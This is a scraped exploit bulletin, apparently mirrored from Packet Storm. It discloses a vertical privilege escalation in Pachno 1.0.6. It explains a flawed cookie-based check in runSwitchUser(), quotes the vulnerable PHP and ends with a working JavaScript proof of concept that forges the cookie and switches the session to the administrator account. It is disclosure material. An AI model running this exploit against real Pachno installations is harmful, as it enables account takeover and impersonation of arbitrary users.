{“lastseen”:”2026-04-13T17:44:38″,”description”:”The authorization check in the runSwitchUser action in Pachno version 1.0.6 evaluates the expression !canSaveConfiguration \\u0026\\u0026 !hasCookie’originalusername’ and only forbids the request when both subexpressions are true. The presence of the…”,”published”:”2026-04-13T00:00:00″,”modified”:”2026-04-13T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Pachno 1.0.6 Privilege Escalation”,”source”:””,”references”:””,”id”:”PACKETSTORM:218859″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”Pachno 1.0.6 (runSwitchUser()) Remote Vertical Privilege Escalation\\n \\n \\n Vendor: Daniel Andr\u00e9 Eikeland\\n Product web page: https:\/\/github.com\/pachno\/pachno\\n Affected version: 1.0.6\\n \\n Summary: Pachno is an open-source collaboration platform (formerly known as The Bug\\n Genie) designed for team project management, issue tracking, and documentation. It\\n offers a module-based, customizable environment for software development and team\\n workflows, distributed under the Mozilla Public License.\\n \\n Desc: The authorization check in the runSwitchUser() action evaluates the expression\\n !canSaveConfiguration() \\u0026\\u0026 !hasCookie(‘original_username’) and only forbids the request\\n when both subexpressions are true. The presence of the original_username cookie is\\n sufficient to satisfy the second condition, and that cookie is fully client-controlled.\\n An authenticated low-privilege user who sets original_username to any value and then\\n issues a request to switch to user ID 1 receives a fresh session token (token authentication)\\n or password hash cookie (password authentication) belonging to the target user. This\\n can be exploited to elevate privileges to administrator and impersonate arbitrary user\\n accounts.\\n \\n =====================================================================================\\n \/core\/modules\/auth\/controllers\/Authentication.php:\\n ————————————————–\\n \/**\\n * Switch user action\\n *\\n * @Route(name=\\”switch_to_user\\”, url=\\”\/userswitch\/switch\/:user_id\/:csrf_token\\”)\\n * @CsrfProtected\\n *\\n * @param framework\\\\Request $request\\n *\/\\n public function runSwitchUser(framework\\\\Request $request)\\n {\\n if (!$this-\\u003egetUser()-\\u003ecanSaveConfiguration() \\u0026\\u0026 !$request-\\u003ehasCookie(‘original_username’))\\n return $this-\\u003eforward403();\\n \\n $response = $this-\\u003egetResponse();\\n $authentication_backend = framework\\\\Settings::getAuthenticationBackend();\\n if ($request[‘user_id’]) {\\n $user = new entities\\\\User($request[‘user_id’]);\\n if ($authentication_backend-\\u003egetAuthenticationMethod() == framework\\\\AuthenticationBackend::AUTHENTICATION_TYPE_TOKEN) {\\n $response-\\u003esetCookie(‘original_username’, $request-\\u003egetCookie(‘username’));\\n $response-\\u003esetCookie(‘original_session_token’, $request-\\u003egetCookie(‘session_token’));\\n framework\\\\Context::getResponse()-\\u003esetCookie(‘username’, $user-\\u003egetUsername());\\n framework\\\\Context::getResponse()-\\u003esetCookie(‘session_token’, $user-\\u003ecreateUserSession()-\\u003egetToken());\\n } else {\\n $response-\\u003esetCookie(‘original_username’, $request-\\u003egetCookie(‘username’));\\n $response-\\u003esetCookie(‘original_password’, $request-\\u003egetCookie(‘password’));\\n framework\\\\Context::getResponse()-\\u003esetCookie(‘password’, $user-\\u003egetHashPassword());\\n framework\\\\Context::getResponse()-\\u003esetCookie(‘username’, $user-\\u003egetUsername());\\n }\\n } else {\\n if ($authentication_backend-\\u003egetAuthenticationMethod() == framework\\\\AuthenticationBackend::AUTHENTICATION_TYPE_TOKEN) {\\n $response-\\u003esetCookie(‘username’, $request-\\u003egetCookie(‘original_username’));\\n $response-\\u003esetCookie(‘session_token’, $request-\\u003egetCookie(‘original_session_token’));\\n framework\\\\Context::getResponse()-\\u003edeleteCookie(‘original_session_token’);\\n framework\\\\Context::getResponse()-\\u003edeleteCookie(‘original_username’);\\n } else {\\n $response-\\u003esetCookie(‘username’, $request-\\u003egetCookie(‘original_username’));\\n $response-\\u003esetCookie(‘password’, $request-\\u003egetCookie(‘original_password’));\\n framework\\\\Context::getResponse()-\\u003edeleteCookie(‘original_password’);\\n framework\\\\Context::getResponse()-\\u003edeleteCookie(‘original_username’);\\n }\\n }\\n $this-\\u003eforward($this-\\u003egetRouting()-\\u003egenerate(‘home’));\\n }\\n =====================================================================================\\n \\n Tested on: GNU\/Linux\\n Apache2\\n PHP\/7.4\\n MySQL\/5.7 (MariaDB)\\n \\n \\n Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\n @zeroscience\\n \\n \\n Advisory ID: ZSL-2026-5985\\n Advisory URL: https:\/\/www.zeroscience.mk\/#\/advisories\/ZSL-2026-5985\\n \\n \\n 06.04.2026\\n \\n –\\n \\n \\n document.cookie = \\”original_username=liquidworm; path=\/\\”;\\n \\n const csrf = document.querySelector(‘input[name=\\”csrf_token\\”]’)?.value\\n || document.querySelector(‘meta[name=\\”csrf-token\\”]’)?.content;\\n \\n fetch(‘\/switch_user’, {\\n method: ‘POST’,\\n credentials: ‘include’,\\n headers: { ‘Content-Type’: ‘application\/x-www-form-urlencoded’,\\n ‘User-Agent’ : ‘AuthorizationBypassium\/1.12.04’ },\\n body: `user_id=1\\u0026csrf_token=${encodeURIComponent(csrf)}`\\n }).then(() =\\u003e {\\n window.location.href = ‘\/configure’;\\n });\\n \/\/ If you ‘see’ \/configure, you are admin.”,”sourceHref”:”https:\/\/packetstorm.news\/download\/218859″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/218859\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-13T17:44:38″,”description”:”The authorization check in the runSwitchUser action in Pachno version 1.0.6 evaluates the expression !canSaveConfiguration \\u0026\\u0026 !hasCookie’originalusername’ and only forbids the request when both subexpressions…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-46371","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n